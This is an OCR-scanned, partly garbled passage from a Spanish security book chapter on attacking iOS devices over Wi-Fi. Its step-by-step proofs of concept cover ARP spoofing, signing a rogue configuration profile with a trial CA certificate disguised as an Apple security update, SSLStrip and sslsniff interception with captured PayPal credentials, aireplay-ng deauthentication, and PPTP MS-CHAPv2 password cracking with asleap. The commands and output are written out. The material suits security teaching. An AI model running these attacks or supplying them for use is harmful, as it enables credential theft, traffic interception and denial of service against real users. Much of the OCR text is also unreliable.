La redes con cifrado WEP est4 claro que no proporcionan suficiente seguridad y tan solo podrian scr
utilizadas con cifrados de alto nivel como VPNs. En el caso del cifrado WPA2, s¢ puede considerar
como el estandar de facto para sceurizar redes inaldmbricas, pero atin asi hay que tener cuidado
con la conlrasciia, y establecer una que sea lo suficientemente robusta como para evitar los ataques
conocidos.

PoC: ARP Spoofing sobre iPhone con cain en redes WEP
En la siguiente prueba de concepto se propone el siguiente escenario:

- Dispositivo i()S conectado a una red Wireless con cifrado WFEP.

- Atacante conectado a la misma red Wireless.

- Seutilizara la herramienta cgin para llevar a cabo el envenenamiento de la tabla ARP, con
el fin de obtener credenciales, conkies ¢ informacion de la victima.,

El dispositive (08 concctado a la red Wireless es un iPhone 4. Ll atacante utiliza cain sobre Windows
7. de manera que realizando la técnica, explicada anteriormente, de arp spoofing, se conseguird el
objetive marcado. En la siguiente imagen se puede visualizar la scleecion de los objetivos. mediante
la interfaz de cain. En primer lugar se selecciona la direccion IP del router y después la de la victima.
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Imugen 141.12: Envencnamiento de la tabla ARP de un dispositive iS5 en una red WEP.

Una vez realizado el envencnamicnlo, es posible realizar diversas acciones maliciosas, aunque para
esla prucha de concepto se ha elegido mostrar el robo de credenciales de algtn sitio web. En la
siguiente captura se puede visualizar dicho robo en el sitio web Focalprice.
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Imagen 10.13: Rubo de credenciales de un dispositivo /08 en una red WEP
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HTTP-s: CA Fake

Después de la prueba de concepto que se pudo ver en las Zero Nights en Rusia (finales del 2012), de
la mano del investigador Trosichev, en la que se mostraba como realizar un ataque MITM utilizando
un certificado digital de una CA o entidad certificadora de confianza.

Laideadelataque. es casi lamisma que se ha utilizado para desplegaroinstalartrovanos en dispositivos
que no tienen Jailbreak, es decir, a traves de un perfil de aprovisionamiento o Provisioning Profile,
gue contiene ¢l o los UDID de los dispositivos viclima, de mancra que permitiria la instalacion
de software sin firmar por 4Apple o de fuentes no confiables, y en el que era necesario un poco de
ingenieria social, para que la victima se instalase dicho perfil,

En este caso se hace uso de un certificado de una entidad certificadora de conflianza o CA, que
ademads esté dentro de la cadena de conflanza de Apple, como se puede comprobar en la siguiente
web de soporte técnico de Apple hittp:/fsupport.apple.comidch/HT5012, la cual se puede encontrar
buscando en Google “List of available rrusted rool certificates™.

Certificata:
patas
Versionz: 3 {0=2)
Serial Wumber: =
488l 2d:8a:82:85a0:0b:102 1 ea: 301355 02:46:85:3d
Signaters Algorithm: shalWithRSaEncryption
ISBNEr: C=GE, ST=Greatar Hanchester, L=Salford, 0=00OMODO C2 Limited, CN=COMODO certification ameh
Validity
ot Befcore: Dec 1 G0:00:00 ZCH6 GHT
Hot Afrer : Dec 51 23:58:59 2029 GmT

Imagen 10.14: Certificado de Comodo dentro de la lista de confianza de Apple.

Para obtener un certificado dentro de la cadena de confianza de Apple. basta con mirar la larga lista
mencionada anteriormente, y buscar qué compafliias o entidades certificadoras ofrecen certificados
de prueba o versidn trial, como es el caso de Comodo, tal y como se aprecia en su web oficial:

- Comodo Diglial Cedificate Soiutions -

Free Trial SSL Certificate

Comodo Free SSL is a fully funclional digital certificale, recognired and (rusted by 99.8% of browsers. It allows you o gst
rid of wabsiza seeurity waming massages and gives you the golden padiock. =

Free Trial SSL £

Pvnisk oo el Get Mow

Gﬁm : - ” minutes

Imagen 10.15: Certificado Trial de Comodo.

Para conseguir un certificado como este, tan solo es necesario un correo de administrador de su
dominio partieular youradmini@yourdomain.com y nada mas. Una vez se tiene un certificado que
esté dentro de la cadena de confianza de Apple, comienza la parte de ingenieria social del ataque.
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La idea es que cuando el usuario vaya a instalar un perfil de configuracion, puedan ir difcrentes
purametros ya configurados, como por gjermplo:
- Los datos de conexion a una red Wi-Fi, que seré ¢l punto de acceso malicioso controlado
por el atacante,
- Certificado CA.
- Configuracidn del Proxy, por si se desea caplurar cl trafico de la victima (solo en i0S 6).
- iCloud backuy (si no esté habilitado se puede habilitar).

Dicho perfil no aparece sin firmar, ya que genera desconfianza en las viclimas potenciales v la parte
del engafio o de ingenieria social se complicarfa. A continuacion, se presenta una captura de un perfil
de configuracion sin firmar, en la que aparece un aviso de color rojo que advierte gue dicho perfil
no esta firmado (“Sin firmar’”), ademas de que cuando se haga clic cn ¢l boldn instalar, aparscera un
popup o cuadro de didlogo avisando al usuario:

Informaticag

Sin firmar

Deseripeién This temporary profile will be
uscd o find and display your
current coviea's LIDIME

Recibido 15/01/7015
Cantiene Gomprobacién para la

sethiAcion del ke ey ol Cancelar Instalar
dispasitiva

Mas detalles >

Imagen 10.16: Perfil sin firmar en /0S8 v el aviso ul inslalarlo.

Una vez que se ha creado un perfil de configuracion adaptado a las necesidades, éticas o no. bastatia
con firmar el perfil de configuracion, para hacer mas creible el engaflo, de manera que el usuario
veria que ¢l perfil esta firmado, facilitando la parte de ingenieria social.

Para (irmar dicha perfil de aprovisionamiento o de configuracién, sera necesario el certificado trial
que se ha descargado previamente de la web de Comodo o de alguna entidad certificadora que esté
incluida en la cadena de confianza de Apple, v la unlidad OpenSSL. Los comandos necesarios sc
presentan en la siguiente imagen.
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Certificate %
unsigned
mobilecofig

openss|cms -sign -in uns.mobilconfig \

-out 5. mobilconfig -signer comodo_cert.pem \,
-inkey comodo_cert.key -outform DER'

-nedetach -certfile comodo_trustehain.pem

’//

Certificate

signed
mobileconfig

Imagen 10.17: Comandos pera firmar el perfil de configuracién de 7OS.

Una vez que se ha firmado, el perfil de configuracion tiene mucho mejor aspecto. Ademas en el perfil
se puede poner el nombre de la empresa deseada, como por ejemplo 4pple inc., o en la descripcion
del perfil algo como “iOS 6 Critical security update”, lo que hace mas facil la parte de ingenieria
social, para que las victimas caigan en la trampa. A conlinuacion sc muestra cl perfil de configuracion
que utilizé Yrosichev en las Zero Nights:

A

L e et e R el

VeTanoBWTE

Onucatise 105 6 Criical security uodate
Megnucake skeg.n
Momuan 17112012
Copepuut Capradmxar
CaTi Wi-Fi

!

Bonea noppafko

Imagen 10.18: Perfil de confipuracion utilizado por Trosichey en las Zero Nights.

(Cuando ya se tiene el perfil de configuracién firmado, es el momento de instalarlo en los dispositivos
de las victimas. Hay diversas formas de realizar la instalacion:
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- Através de Sgfari (se puede tumbicn cn ¢l caso de que sea un perfil de configuracion con
una CA incluida).

- Alravés de un adjunto en un correo electronico.
- Através de un sistenra MDM.

Y finalmente, cuando por fin el certificado esié instalado en los dispositivos victima (con un poco de
ingenieria social, claro estd), es el momento de comenzar a jugar con las victimas, v es que con cl
esquema presentado por Trasichev, se podria realizar lo siguiente:

- Shiffing o captura de todo el trifico SSL (cookies, contrasefias, etcétera).

- Robo de la copia de scguridad o hackup (registros de llamadas y mensajes, fotos, videos,
dalos de las aplicaciones, etcétera).

- Envio de mensajes 0 wipeos temotos.

Y es que como se puede apreciar, una vez instalada la CA maliciosa en el terminal, se abren muchas
pucttas @ numerosos ataques. La siguiente imagen muestra el esquema presentado por Trosichev en

su conferencia;

[ FAKE DNS |
Q\H = f //” = i i d =
: —_—— FakeCloud
G A pwh apple.com
‘\
b i b,

oy
\\ FakePush ///
\“__%__________,"

Imagen 10.19: Esyuema presentado por frosicher en las Zero Nights.

Resumiendo se puede decir, que con tan solo dos clics que haga ¢l usuario victima e instale el perfil
malicioso firmado por un atacante, ¢l dispositivo estard a merced del mismo.

SSLSniff y SSLStrip
Las técnicas SSLSniff y SSLStrip permilen al atacantc obiener informacion que va protegida bajo
la capa SSL. La primera quc sc va a estudiar es SSLSxiff, ya que es la méas antigua y conocida. Hay
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que recalcar que las dos técnicas aleclan a dispositivos i0S y fueron descubiertas y desarrolladas
por Moxie Muarlinspike.

El problema de los certificados v del cual se aprovecha SSLSniff radica en las Basic Constraints.
Si el navegador no verifica las Basic Constraints, que cs un bit, un certificado emitido para un
dominio en concrelo, podria ser utilizado para emitir otros certificados para otros dominios. En otras
palabras, ¢l hug es que un certificado emitido a una empresa no deberfa emitir cerlificados para otros
dominios, por lo que se le restringe como no valide para lirmar dichos dominios.

Resumiendo ain mas, si Ferisign emile un certificado para una empresa X, los propietarios de dicho
certificado no deberian pader emitir un certificado para por ejemplo, paypal.com. Sin embargo, lo
anico que impide este hecho es una marca en el certificado, una Basic Consrraints, que debe ser
comprobada por el cliente, es decir ¢l navegador, para validar el certificado. Por lo que si llega un
certificado ¢mitido para paypal.com que ha sido generado por dicha empresa X, el cliente deberia
comprobar si la empresa X puede emitir certificados para todos los dominitos y detectar que no esta
habilitado, generando entonces una alerla de scguridad.

Sin embaigo, en las versiones de i0OS anteriores a la 4.3.3 esta comprobacidn no se realiza, y por lo
tanto s¢ pueden generar certificados falsos para cualquier banco, o cualquier sistema de correo web
como Gmail, lotmail, Facebook, etcétera, sin que se genere ninguma alerta de seguridad, con solo
disponer de un certificado digital emitido por una entidad de confianza por el cliente.

Mediante la herramienta ss/sniff desarrollada por Moxie Marlinspike sc pucde realizar dicho ataque.
La operativa seria la siguientc:

- Reulizar un ataque MITM entre [a victima con dispositivo iOS cuya version seria inferior
ala 4.3.5. Bl ataque se realizaria, por ejemplo, con la herramicnta arpspoof.

- Una vez que el trafico llega al alacante, se debe comprobar que la méaquina realiza el
Jorwarding de los payuetes.

- Configurar sslsniff para generar los certificados falsos a partir de una plantilla valida
firmada para un dominio concreto. En la dltima version de ssisniff se dispone de la posibilidad
de indicar que cl dispositivo es un 70S. La sintaxis es la siguiente sslsniff -u -¢ [path/iofvour!
certificate] -f ios -h [htipporif -s [sslport] -w iphone.log.

En RlackHat 2009, Moxie Marlinspike, demostrd coémo hacer un robo de sesién o hijacking de
sesion HTTPs, con la herramicnla de Linux SSLS#ip, cuyo objetivo es forzar el cambio de tipo de
conexion, de una conexion por SSL o H'I'TPS a una conexién convencional por HTTP.

El SSLSwip es un ataque en el que mediante MITM se inlcreeplan las peticiones que pueden
desembocar en trafico seguro y sc presenta al cliente el sitio web final sin dicha capa de seguridad.
En otras palabras, SSLS#rip intercepta las peticiones que devolveran un sitio web cilrado bajo cl
protacolo LIT'I'PS, con el fin de que el cliente obtenga una conexion por HTTR Si el cliente no
percibe que la conexion no s¢ cneucntra bajo HTTPS v si bajo IIT TP, toda la comunicacion puede
ser “visualizada™.
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En los dispositivos /08 cuando una comunicacion se realiza bajo HTTPS, se puede ver un candado
en la parte superior del navegador. Este hecho no es similar en navegadores de equipos de escritorio
0 portatiles, en los que se muestran colores y candados grandes para que ¢l cliente pueda visualizar
répidamente que se encucnira bajo una conexién segura. Eslc hecho del navegador movil Scfari
ayuda bastanle a que un usuario pueda caer cn un alaque dirigido por SSLStrip.

PoC: SSLStrip en iOS
En esta prueba de conceplo se realizard un ataque SSLSirip contra un dispesitivo /OS con la version
6.0.1. La operaliva a seguir es la siguiente:

- Flatacante conectado al mismo punto de acceso Wirefess, realizard arp Spoofing sobre el
dispositive iJS.

- Una vez que el trifico pasa por el atacante se configurard una regla en iptables con el fin
de que redirija todas lus peticiones de la victima del puerto R0 al 10000, o el que se configure
en la herramienta SSLS#ip. El objetivo de esta accion es que todo el trafico HTTP pasc por la
herramienta v se pueda asi “engafiar” 4 la victima en las paginas web seguras.

- Por ultimo se arrancari la herramienta SSLS#ip y se csperara a que el usuario del
dispositivo {05 sc conecte a algin sitio seguro, dondc se engafiaré y la conexidn real con el
alacante se realizard por HTTP, quedando expuesto al robo de credenciales. cookies, etcétera.

A continuacion se muestra una captura en la que se aprecian los comandos necesarios para preparar
la parte preliminar al ataque SS7.S#ip, que son la configuracion necesaria para el reenvio correcto
de paquetes mediante la modificacion del fichero ip_forward. y posteriormente y utilizando la
aplicacion arpspoof, realizar el envencnamiento, con la direccion IP de la victima v la direccidn IP
de la puerta de enlace. Ademas se aprecia como se crea la regla en el Jirewall iptables, que permitira
que el trafico del pucrto 80 se redirija al puerto 10000, que es donde la herramicnta SSLStrip se
pondra u cscuchar o a esnifar el trifico.

1~# echo 1 = /fproc/sys/net/ipv4/ip forward Ty
~# iplables -t nat -A PRFROUTING p tcp --destination-port &0 -j REDIRECT --to-ports 10668
‘wot@ht:~# arpspoof -1 ethe -t 192.168.1.11 192,158.1.12

:0:27:d6:7f:26 ©:0:0:0:0:0 €BO6 42: arp reply 192,.168.1.12 is-at B:9:27:d6:Ff:26 e
:0:27:d6:77:76 8:0:8:0:8:0 6806 42: arp reply 192.168.1.12 is-at B:0:27:d6:ff:26
:0:27:d6:T7:26 Q:0:9:0:9:0 0806 42: arp reply 192.168.1.22 is-at 8:0:27:d6:ff:26 ’
:0:27:d6:77:26 ©:£:8:0:8:0 0866 42: arp reply 192.168.1.12 is-a. 8:0:27:d6:FF:26
0:27:06:77:26 0:€:0:9:8:8 8886 42: arp reply 192.168.1.17 is-at 8:0:27:d6:F7:25
8:27:d6:77:26 0:0:0:0:0:0 8886 42: arp reply 192.168.1.12 is-at 8:6:27:d6:1F:26

Tmagen 10.20: Configurando preliminares a la gjecucion de SSLS#rip,

Una vez que se han realizado lodas las acciones preliminares, se estd ¢n disposicién de lanzar
el ataque son SSLStrip, y poder capturar el trafico cifrado. La sintaxis es la siguiente sslsirip —w
<nombre fichero>.

Una vez que se ha lanzado el ataque, si todo ha sido configurado correctamente ¥ se ha caprurado
el trafico, se podra ver lo que sc ha encontrado en el fichero gencrado por SSLStrip, tal y como se
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aprecia en la siguiente captura, en la que se ha capturado trafico contra la web de Paypal. y se puede
ver en plano tanto ¢l usuario como la contrasefia, en los correspondientes campos login email y
login_password:

\ ; - = Thufedr 7, L:29FM X

rootEront: /pentestrweb/ssistrip

re-r--r-- 1 root roct 4.8K 2011-85-86 ©1:22 sslstrip.py .
roct@root: /pentest/web/sslstrip# cat ios
2€13-62-87 13;28:55,689 SECURE POST Data {www.paypal.com):
csrfModel. returnedCs rf=KFt5Ps5TTOEQ4T-XhHp1BBED2-oriBxI61y QqFSVEzDylgkoRi2VR1Tk
JbPbZ-D2KIa2UCTNCTE yRLPuBadiWTWO0RY 75 WUxekKYcxEM wTR7aklogin_email=juanmii&logi
n_passwnrd=123abc. . &submit.x=Entrar&browser_name=Unknownsbrowser version=g536.25
Gbrowser version full=Unknownfoperating_systemsundefinedibp mid=v&3D1%3Bal%3Dna%
TEa2%30na%7Ea3di3Dnat7Ea4%3DMoz1 1 1 a%TEaS%3DNe L scapesTEaf%305 . 8+%281 Phoncs3B+CPU+L
Phone+05+6_8_1+like+Mac+05+X%29+AppleWeblit22F536. 264 32BKHTHLE2C+ 1 i ketGeckok29+V
ersion¥2F6_p+Mabilek2F10A523+5afari%2FB536. 25%7Ea7530Na%7EaE%30na%7Eag3Dt ruex7E
al16%30na%7Eal1%30t rucs7Eal2%30iPhone%7Ea13%30ne%7 Ea15%3DMozi L La%2rs , B+%28iPhons%
3B+CPU+iPhone+05+6 B 1+1iketMac+05+X%29+AppleWebKite2r536. 26+%2 BKHTMLR2C+ L ike+Ge
cke%29+Version%2F6. B+Mobl Le%2F18A523+5afaris2FES36. 25%7Ea15%30Tal se%7Ea 1653 0na%T
Ea17%30150-8859-1%7EalB%30www. paypal . coms7Eal9%3Dnat7Ea28%30na%7Ea2 1%530na%TEa22%
3Dna%7Ea23%30320%7 Ea24%30480%7 Ea25%303 2% / La26%30460% 7 Ea2 7.30na% 7Ea28%30na% 7 Ea29% }
3Dna%7Ea38%30n2%TEa31%30na%TEa32%30na%7Ea33%30na% Ea34%30na%TEa355%30na% /Ea356%30n
8%7Ea37230na%7Ea38130na%7Ea39%3Dna%T Ead8%30na%TEa4 153 DnakTEA4 2%30na%TERDD ksl=vs
IDI%3IBLIDERIBUAONIAL79BTULBRIASD11%IA345U1133A601 2%3A36 201 2IA601 TLIAB 11U 3%326
Di4%3A418U1 4%3A6D1 5%3A2 5001 5%3A60 1 65%3AHBEU1 6%3AED 17%3A176U17%3A66bp ks2=8bp ks3=
root@root : /pentast /web/ssistrip# cat fos |grep juanmii
csriModel. returnedCsr f=XF15Ps5 FTOEN4T - XhHp1886D2 -oriBxTely QqFSVEZDYLlgkoRT2VR11k
JbFbZ-D2KJazUC THCHTyRLPuBedRw7WO0eYTs jwllzekKYcxEM wTR7aklogin email=juanmii&logl
n_password=123abc. .&submit.x=Entrarfbrowser name=Unknown&browser wversion=8536.7%
sbrowser_versien_full=unknown&operating_system-undefined&bp mid=v:301%3Bal%3Dnat
J'EazmnawEamhat?hmaﬂcr1115%7EaS¥3DN¢':scape%?Eam!JS B+%281Phones3B+CPU+i
[Phone+05+6 8 1+like+Mac+0S+e29+Applewebii th2F536. 264 %2BKHTMLA2C+ 11 ke+Gacko%2 9+

Imagen 10.21: Visualizacion de credencicles recogidas mediante SSLStip.

PoC: DOS a los dispositives i0OS en la Wi-Fi

En esta prueba de concepto se realizard una dencgacion de servicio a un dispositivo iOS con el fin
de que este no tenga acceso a Internet, o bien, se conecte a otro punto de acceso malicioso que un
atacante tenga configurado y preparado para asociar al dispositivo iOS.

La operativa a seguir es la siguiente:
- El dispositivo iOS estara conectado a un punto de acceso real.
- El atacante utilizard un adaptador Wireless para enviar mensajes de desautenticacion,
mediante la herramienta aireplay-ng.
- El dispesitivo {05 sc desconectard del punto de acceso, quedando a merced de otro
posihle Rogue 4P.

Lin primer lugar se debe configurar el adaptador Wireless en modo monitor, tal y coma se ha realizado
anteriormente en este capilulo. Mediante la herramienta airadump-ng se monitoriza el trafico aéreo,
y se comprucba que la direccion MAC del 7OS esta asociada al punto de acceso que serd victima del
ataque. En la siguiente imagen se puede visualizar dicha situacion.




Capitulo X. Ataques en redes Wi-I'i
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Imagen 10.22: Monitorizacién y comprobzeidn de asociacion entre 2095 y el punto de aceeso.

Una vez que se puede copiar la direccion MAC del punto de acceso o bssid y la direccion MAC del
cliente asociado, (en este caso cl dispositivo i), se debe realizar un atague de tipo 0 con aireplay-
ng, tal y como pucde visualizarse en la siguiente imagen.

rootdbi:~# aireplay-ng -€ @ -a @8:1F:58:95:6F: /A -C E4:CE:BF:B4:ED:50 monod

13:17:44 Wailing for beacon frame [BSSID: @8:1E:58:95:6F:7A) on channcl 6

13:17:45 Sending 64 directed DeAuth. STMAC: [E4:CE:BF:84:ED:B&] [21]75 ACKs]
23:17:46 Sending 64 directed DecAulh. STMAC: [E4:CE:BF:B4:ED:B8] [32|64 ACKs]
13:17:46 Sending 64 directed DeAuth. STMAC: [E4:CE:BF:84:ED:80] [66]67 ACKs]
13:17:47 Sending €4 directed Demuth. STMAC: [E4:CE:8F:B4:ED:88] [ €]62 ACKs]
13:17:48 Sending €4 directed DeAuth. STMAC: [E4:CE:8F:B4:ED:86] [ €]84 ACKs]
13:17:48 Sending 64 dirccled DeAuth. STCC: [E4:CE:8F:B4:ED:88] [ B]51 ACKs)

Imagen 10.23: drague de tipo () con aivepiay contra dispasitivo jOS.

Se puede visualizar en la linea de comandos como se ha utilizado el parametro -0 con un valor
asociado de 0. es decir, el ntimero de paquetes que se enviardn de desautenticacion. Cuando se envia
el valor 0, es equivalente a indicar un valor infinito.

4. VPN en iOS

Las conexiones VPN, son Redes Privadas Virtuales para disponer de una conexion segura, en un
medio o entorno inseguro, como puede ser Internet o una red piblica o abierta en un acropucrto o
cafeleria.

LLos usvarios de /0S8, en muchas ocasiones buscan redes Wi-Fi, ya sea porque su tarifa de datos se
agota, o bien por necesidad de descargar ficheros que no se puedan descargar por 3G, v eso les lleva a
veces a coneclarse a redes abiertas o sin proteccion. Algunos de estos usuarios, los mds preocupados
por la seguridad, han buscado alguna manera de prolegerse. v han descubierto la existencia de
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conexiones VPN como forma de navegacion segura. Ademas también hay usuarios que se conectan
con sus méguinas domésticas desde fuera de casa, o incluso con scrvidores de la compariia para la
que trabajan, desde fuera de esta. En cslos casos son tipicas las VPNs On-Demand.

Tal y como lo presenta la propia 4pple en su documentacion, (la cual se han encargado de traducir a
varios idiomas, por aquello de incrementar los indices de penetracion de iOS a nivel corporativo), la
experiencia de VPN al conectarse a redes corporativas es excelente, gracias a teenologias estandar
como IPv6, servidores proxy, tineles divididos, cleélera, ademas de permitir diversos métodos
de autenticacion como el uso de contrasefias, fokens de doble lactor v certificados digitales. A
continuacion se describen con mas detalle los protocolos y métodos de autenticacion disponibles;

- VPN sobre SSL: Is configurable con autenticacion de usuario por contrasefia, token de
doble factor y certificados. (S permite acceder a servidores VPN sobre SSL de la serie S4
de Juniper, ASA de Cisco y Big-IP Edge Gateway de F5, con las respectivas apps de la App
Store de Cisco, Juniper o F5 Networks.

- IPSec de Cisco: Es compatible con la autenticacion de usuario por contraseia, foken de
doble factor, autenticacién automitica mediante secreto compartido y certificados.

- L2TP sobre IPSec: Autenticacion de usuario por contrasedia, foken de doble factor,
autenticacian automatica mediante secreto compartido (shared secrel) y certificados digitales.

- PPL'P: Admite autenticacion mediante contrasefia MS-CLIAPV2 y foken de doble factor.

Para las conexiones en entornos empresariales que requieran de doble tactor, iS5 se integra con
RAS SecuriD y CRYPTOCurd. Ademas, para las conexiones que empleen autenticacion basada en
certificados i0S VPN bajo demanda o 1o que se conoce como FPN On Demand, permile establecer
conexiones automaticamente, lo que hace que los usuarios puedan conectarse a redes VPN facilmente.
La imagen 10.24 muestra una captura en la que se aprecian las difrentes opciones de configuracion
de conexiones VPN, en la Utilidad de Configuracion de iPhone o iPCUL

Pero, ;Qué seguridad ofrecen las VPNs? En los sistemas tradicionales que han soportado los
escenarios Micrusoft para clientes VPN, el encapsulamiento se realizaba a Lravés del protocolo de
capa 2, Point to Point I’rofocol (PPP). La realizacion del tunel se realizaba mediante los protocolos
Point {0 Point Tuaneling Protocol (PPTP, propictario de Microsofl) o Layer 2 Tunneling Protocol
(L2TP, estandar 7ETF). Ni PPTP ni L2TP describen mecanismas de cifrado o autenticacion, dejando
esta tarea al protocolo PPT :

De cara a la autenticacion, PPP depende dc los prolocolos de autenticacion implementables. Para
escenarios Microsoft, los mecanismos admitidos son: PAP, SPAT, CHAP, MS-CHAP/MS-CHAPy2
v EAP-TLS. Excepto para el @ltimo, gue implica una solucion con infraestructura PKI, existen
atagques conocidos que permiten recuperar una aulenticacion de usuario y contrasefla, mediante la
implementacion de diferentes ataques.

L2TP, inicialmente, no ofrece mcjoras ostensibles con respecto a PPTP, por lo que no aportaba
ninguna solucion adicional de seguridad que las planteadas ya inicialmente. La gran difercneia enire
PPTP y L2TP ¢s que el primero, utiliza como protocolo de enrutado a GRE mientras que el segundo
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utiliza IP. Es decir, si hay una conexion PPTP o L2TP/IP no se autentica a nivel de maquina, por
lo que ¢l trafico podria ser manipulado con ataques MITM haciendo que pasara por maqguinas de
atacantes. Este escenario deja toda la seguridad de la conexién en manos de la robustez del cifrado
anivel PPP v de la fortalera del sistema de autenticacion.

Conscienle d cste hecho, Microsoft decidid en su momento utilizar L2TP en su variante con IPrec,

- que garantizaba una mayor seguridad mediante encapsulamiento, cifrado y firmado en capa 3. El
uso de /Psec, (no en su variante Pre-Shared Key), para aulenticar las méquinas de la conexion.
impediria la manipulacién del tratico por medio de técnicas de Man in The Middle, dificultando
cualquier posible ataque. Sin embargo. ¢l protocolo PPIP deposita la seguridad en PP, que sera
el encargado de garantizar ¢l proceso de autentificacién y cifrado, dicha autenticacion no se hace a
nivel de maguina.

VPN =)+

Nombre de |a conexidn
Membre visible de la canexidn (se muestra er el dispositivo)

urequlred: I e

Tipo de conexién
Fl tipo de conexién permitida por esta pulitica
! FFTP
IPser (Ciszol
| Cisco AnyUonnect lar
| SSLde Juniper e 1
1
F& 55'_ — e 1 °
SonicWALL Mubile Connect
Aauba ViA 87 la cenesxidn
| S8 nersonalizado T |
Aurenticacién de usuario
Tipo de autenticacion para la conexidn

8 Contrasefin () RSA SecurlD

Secreto compartide
Sacreto compartido para fa conexion

, [o_;ation al}

(] Envlar tads of trafico
Dirige 1odn ¢l rrifice de red a través de la conexion VBN

Configuracién de proxy
Configurz los proxies gue se usarin wn esta conexidn VPN

[ Ninguna $

Imagen 10.24: Opcienes de canfiguracion de VPN en la Utilidad de Configuracidn de iPhone.

Conexiones PPTP

I.a conexion PPTP es susceptible 2 un ataque de Man in the Middle (MITM), lo que implicaria
el posible robo del intercambio de informacion de autenticacion que muviera lugar al inicio de la
conexion VPN. Puesto que PPP no ofiece ninguna garantia de cifrado al proceso de negociacion de
la autenticacion, la seguridad recac sobre el mecanismo de autenticacion clegido.
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Los sistemas CHAP, PAP, SPAP cuentan. desde hace tiempo, con vulnerabilidades conocidas
que permiten su explotacion y solo deben implementarse en entornos “legacy™ como solucion de
compatibilidad v, por supuesto, tlomando medidas de proleceion afadidas.

En el caso de sistemas MS-CHAPv2, Bruce Schneier, Mudge & David Wagner publicaron en 1999
un paper llamado “Crypranalysis of Microsoft’s PPTP Authentication Extensions (MS-CHAPv2)”
en el que se explican las debilidades de las implementaciones MS-CHAPvI y MS-CHATPvV2. Este
trabajo fue continuado por Jochen Eisinger que publicd en 2010 “Exploiting known security holes in
Micrasofi s PPTP Authentication Extensions (MS-CHAPv2)” en el que se describe el algoritmo que
hay que implementar para realizar una ataque con €xito a un proceso de autenticacion MS-CHAPv2
mediante una explotacion offline. Es decir, una vez grabada la sesion.

MSCHAPv2

MS-CHAPv2 proporciona aulenlicacian mutua con la generacion de claves de cifrado de datos
iniciales mas seguras para el Cifrado punto a punto de Microsaft (MPPL) y diferentes claves de
cifrado para los datos enviados y los datos recibidos. La autenticacion se basa en el método desafio-
respuesta:

1. El cliente solicita un desafio del servidor.
2. El servidor devuelve un desafio aleatorio de 16 byres.

3. El cliente genera un ntmero de 16 byres aleatorio denominado “Peer Autheniicator
Challenge”.

4. El cliente genera una clave de 8 dytes partiendo del desafio recibido previamente del servidor,
el generado por el equipo cliente y la cuenta de usuario,

3. Larespuesta de 24 bytes, es generada utilizando la funcion del hash NT de Windows vy la clave
generada en el paso 4.

6. El servidor utiliza el hash de la contrasefia del usuario almacenada en la base de datos para
descifrar la respuesta. Si el bloque descifrado coincide con el desafio, el cliente es autenticado.

7. El servidor utiliza la clave de 16 hytes del L,lu.nu. y €l hash de la contrasefia para crear una
respuesta del autenticador de 20 hyres.

8. El cliente procesa una respuesta del autenticador. Si la respuesta procesada coincide con la
respuesta recibida, el servidor s autenticado.

Puesto que PPP no aporta un sistema de cifrado adicional al proceso de negociacion de la
autenticacion, este procedimiento del intercambio de claves puede ser interceptado mediante una
ataque MITM para realizar un alaque offfine a posteriori.
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Una contrasefia corta y débil podra ser obtenida con mayor eficacia que una contraseiia mas larga v
compleja. El mejor algoritmo basado exclusivamente en usuario y contrasciia cs MS-CHAPvZ, pero
incluso este es susceplible a un ataque hasado en diccionario.

Una vez presentada la feoria sobre conexiones VPN. es el momento de ver donde entran en juego
varios ataques conocidos sobre los protocolos utilizados para crear VPNs, que pucden ser utilizados
para kackear las comunicaciones y obtencr credenciales.

PoC: Crackeo de VPN en iOS con PPTP y MSCHAPv2

A continuacion se va a crear una nueva conexion por VPN a un servidor corporalivo, ulilizando el
protocolo PPTP con autenlicacion por contrasefia MS-CHAT v2. El dispositivo i()S se encuentra
conectado a un punto de acceso abierto, pero también podria realizarse un proceso similar a este si
se encontrase en una red Wireless con clave conocida.

Si el dispositivo (OS se conecta al punlo #i-Fi y utiliza la conexion VPN mencionada (aparecerd un
icono VPN en la barra de estado del dispositive i0S), utilizando Wireshark con la tarjeta en modo
maonitor, se puede capturar todo el trafico y filtrarlo acorde al ataque.

En este caso, se puede buscar CHAP entre los paquetes enviados/recibidos, de manera que se puede

capturar la negociacion, entre cliente y servidor, tal ¥ como se aprecia en la siguiente imagen.

capture.cap-03.cap [Wireshark 1.2.1 (SVN Rov Unknown from unknawn)]

; 2549 a175 S
/578168 192.168.5.283 80.81.186.148 PPP CHAP 138 Responsc (NAME='164\{maguayc', VALUE=Ox8E04d57Thies122 GeedBabecel
-B9A626 BO.81.186.148 192.168.0.203 PPP CHAP 1:4/5uccess (MESSAUL="5=7FDOTFDOCADSA3ALIS7 I4A4AG93B4E47551052063" )

_— e - e

Entemet Frotocol Version 4, Src: B8.81.186.148 {#6.31.186.148), Dst: 192.168.0.263 {192.168.4.283)
| =) Generic Routing Encapsulation (PRP]
= Polirt- tu-Point Prolacul
=) PPP Challenge Handshake Authentication Protocol
Code; Challenge (1)
ldentifier: B
Length: 29
=| Dals o
valuz Size:

2d 33 41 70 3b BB OB aa aa B3 68 €6 87
BE20 B2 €0 45 00 68 43 Ba ch 9@ @8 76 2f bd 68 S& 51
9930 Ga 94 cB a8 o8 cb 30 B1 5B b @€ 1T 36 23 €6 @9
BE B8 &3 c2 23 i 28

= FT

Imagen 10.25: Capturando trafico CIIAP.
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Fn la imagen anlerior, se aprecia cl challenge v response, necesarios para realizar un ataque por
diccionario con la conocida herramienta asleap (disponible por cjemplo en BuackTrack), para
intentar extraer las credenciales, y un diccionario que se crea previamente vfilizando una utilidad
que incorpora asleap, Nlamada genkeys, tal y como se apracia en la siguiente captura.

root@bt:/pentest/wireless/asleap® fasleap -f hash.key -n index.key -R S&:75:FD:48:30:90:3E:
ICO:16:BAER: S :F3:A6:CA:06:88:96:51:B1:A9:FB:T0:6F -C 3G:EJ:2D:D7:80:56:75:88
lasleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.coms

hash bytes: e634

NT hash: 280c6174da496cab42213fa5a7 32634

password: adain -
root@bt:/pentest/vwireless/asleapd \

— L |

Tmagen 10.26: Generacitm del fichero de fiash y de indices con genkeys.

root@hkt:~& asleap -C ac:75:1c:eb:75:3e:38:b4 -R 8e:d7:e5:67:97:87:56:41:84:90:37:63:93:ab: 5
ff:d9:2d:h8:f5:88:f7:c6 -f hash.key -n index.key
sleap 2.2 - actively recover LEAP/PPTP passwords. <jwrighi@hasborg.com>

hash bytes: 947d
NT hash: 4dceg19f1BbETfcidaina34fedsboaid
password: N | scylla 2e12 | l =

Tmagen 10.27: dsleap devolviendo las credenciales.

